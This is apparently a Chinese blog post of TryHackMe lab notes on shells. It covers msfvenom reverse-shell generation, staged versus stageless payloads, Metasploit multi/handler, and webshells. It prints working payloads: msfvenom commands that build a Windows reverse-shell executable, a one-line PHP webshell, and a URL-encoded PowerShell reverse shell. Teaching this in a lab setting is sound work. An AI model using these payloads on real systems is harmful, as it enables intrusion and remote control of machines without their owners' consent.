【THM】什么是壳?(二)

发布时间 2023-12-04 16:01:08作者: trymonoly

Msfvenom

作为 Metasploit 框架的一部分,msfvenom 主要用于生成反向和绑定 shell 的代码。它广泛用于较低级别的漏洞利用开发中,以在开发类似缓冲区溢出漏洞时生成十六进制 shellcode;但是,它也可用于生成各种格式(例如、)的有效载荷 。我们将在这个房间里使用后一种功能。关于 msfvenom 的教学内容比单个房间所能容纳的要多,更不用说单个任务了,因此以下信息将是对这个房间有用的概念的简要介绍。

msfvenom 的标准语法如下:

msfvenom -p <PAYLOAD> <OPTIONS>

例如,要生成 exe 格式的 Windows x64 反向 Shell,我们可以使用:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port

 在这里,我们使用有效负载和四个选项:

  • -f <格式>
    • 指定输出格式。在本例中,这是一个可执行文件 (exe)
  • -o <文件>
    • 生成的有效负载的输出位置和文件名。
  • LHOST=<IP>
    • 指定要连接回的 IP。使用 TryHackMe 时,这将是您的 tun0 IP 地址。如果无法加载链接,则表示您未连接到 VPN
  • LPORT=<端口>
    • 本地计算机上要连接回的端口。这可以是 0 到 65535 之间尚未使用的任何内容;但是,低于 1024 的端口会受到限制,并且需要以 root 权限运行的侦听器。

 

分阶段与无阶段

在我们进一步讨论之前,必须介绍另外两个概念:分阶段反向壳有效载荷和无级反向壳有效载荷。

  • 暂存有效负载分两部分发送。第一部分称为 stager。这是一段直接在服务器本身上执行的代码。它连接回等待的侦听器,但实际上本身并不包含任何反向 shell 代码。相反,它连接到侦听器并使用连接来加载真正的有效负载,直接执行它并防止它接触磁盘,而传统防病毒解决方案可能会捕获它。因此,有效载荷被分成两部分 - 一个小的初始 stager,然后是更大的反向 shell 代码,当 stager 被激活时下载。暂存有效负载需要一个特殊的侦听器——通常是 Metasploit multi/handler,它将在下一个任务中介绍。
  • 无级有效载荷更为常见——这些是我们迄今为止一直在使用的。它们完全是独立的,因为有一段代码在执行时会立即将 shell 发送回等待的侦听器。

无级有效载荷往往更易于使用和捕获;但是,它们也更笨重,并且更容易被防病毒或入侵检测程序发现和删除。暂存有效负载更难使用,但初始暂存器要短得多,有时效率较低的防病毒软件会遗漏。现代防病毒解决方案还将利用反恶意软件扫描接口 (AMSI) 来检测暂存器加载到内存中的有效负载,从而使暂存有效负载的效率低于以前在此区域中的效率。


 

有效负载命名约定

使用 msfvenom 时,了解命名系统的工作原理非常重要。基本约定如下:

<OS>/<arch>/<payload>

例如:

linux/x86/shell_reverse_tcp

除了手册页之外,使用 msfvenom 时要注意的另一件重要事情是

msfvenom --list payloads

 msfvenom区分分阶段和不分阶段

使用的payload是 shell_reverse_tcp, 这表明它是一个不分段的payload。不分段的payload会用下划线 (_) 表示,与此payload等效的分段payload是:shell/reverse_tcp(分段payload会用一个斜杠/表示)

Metasploit multi/handler

Multi/Handler 是捕捉反向 shell 的绝佳工具。如果您想使用 Meterpreter shell,它是必不可少的,并且是使用分阶段有效载荷时的首选。

幸运的是,它相对容易使用:

  1. 使用" msfconsole "命令启动Metasploit
  2. 输入" use multi/handler "命令,按下回车键

我们现在准备开始一个multi/handler会话,让我们使用 options 命令查看可用的选项:

 我们需要设置三个选项:payload、LHOST 和 LPORT。这些都与我们在使用 Msfvenom 生成 shellcode 时设置的选项相同——特定于目标的有效载荷,以及我们可以用来接收 shell 的侦听地址和端口。请注意,此处必须指定 LHOST,因为 metasploit 不会像 netcat 或 socat 那样侦听所有网络接口;它必须被告知一个特定的地址来监听(使用 TryHackMe 时,这将是您的 tun0 地址)。我们使用以下命令设置这些选项:

set PAYLOAD <payload>
set LHOST <listen-address>
set LPORT <listen-port>

我们现在应该准备好开始侦听器了!

让我们使用命令来执行此操作。这告诉 Metasploit 启动模块,在后台作为 job 运行

exploit -j

 

您可能会注意到,在上面的屏幕截图中,Metasploit 正在侦听 1024 下的端口。为此,必须使用 sudo 权限运行 Metasploit。

当运行上一个任务中生成的暂存有效负载时,Metasploit 接收连接,发送有效负载的其余部分并给我们一个反向 shell:

 请注意,因为在上面的案例中multi/handler 开始是在后台处理的,所以我们需要使用 " sessions 1 "命令再次将其置于前台。 这很有效,因为它是唯一运行的会话。 如果还有其他活动的会话,我们将需要使用" sessions "命令来查看所有活动的会话,然后使用

sessions <number>

命令来选择适当的会话置于前台。 这个数字也将显示在打开 shell 的行中(你能看到“Command Shell session 1 opened ”)。

multi/handler实战演示用到payload是

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe lhost=10.10.10.5 lport=4444

 使用sessions 1选择肉鸡

WebShell

有时,我们会遇到允许我们以某种方式上传可执行文件的网站。理想情况下,我们会利用这个机会上传将激活反向或绑定 shell 的代码,但有时这是不可能的。在这些情况下,我们会上传一个 webshell。请参阅上传漏洞室,更全面地了解此概念。

“Webshell”是一个口语术语,指的是在 Web 服务器(通常使用 PHP 或 ASP 等语言)内运行的脚本,该脚本在服务器上执行代码。从本质上讲,命令被输入到网页中 - 通过HTML表单,或直接作为URL中的参数 - 然后由脚本执行,结果返回并写入页面。如果有防火墙,甚至只是作为进入完全成熟的反向或绑定外壳的垫脚石,这可能非常有用。

由于PHP仍然是最常见的服务器端脚本语言,让我们看一些简单的代码。

以非常基本的一行格式:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

这将在 URL 中获取一个 GET 参数,并使用 在系统上执行该参数。从本质上讲,这意味着我们在 URL 中输入的任何命令都将在系统上执行——无论是 Windows 还是 Linux。“pre”元素用于确保结果在页面上的格式正确。shell_exec()?cmd=

 如前所述,Kali 上默认有各种可用的 webshell,包括臭名昭著的 PentestMonkey php-reverse-shell,这是一个用 PHP 编写的完整反向 shell。请注意,大多数通用的、特定于语言的(例如 .PHP)反向 shell 都是为基于 Unix 的目标(如 Linux Web 服务器)编写的。默认情况下,它们无法在 Windows 上运行。


当目标是 Windows 时,通常最容易使用 Web shell 获取 RCE,或者使用 msfvenom 以服务器的语言生成反向/绑定 shell。使用前一种方法,获取 RCE 通常使用 URL 编码的 Powershell 反向 Shell 完成。这将作为参数复制到 URL 中:

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

这与我们在任务 8 中遇到的 shell 相同,但是,它已进行 URL 编码,以便在 GET 参数中安全使用。请记住,在上面的代码中,IP 和端口(粗体,靠近顶行的末尾)仍然需要更改。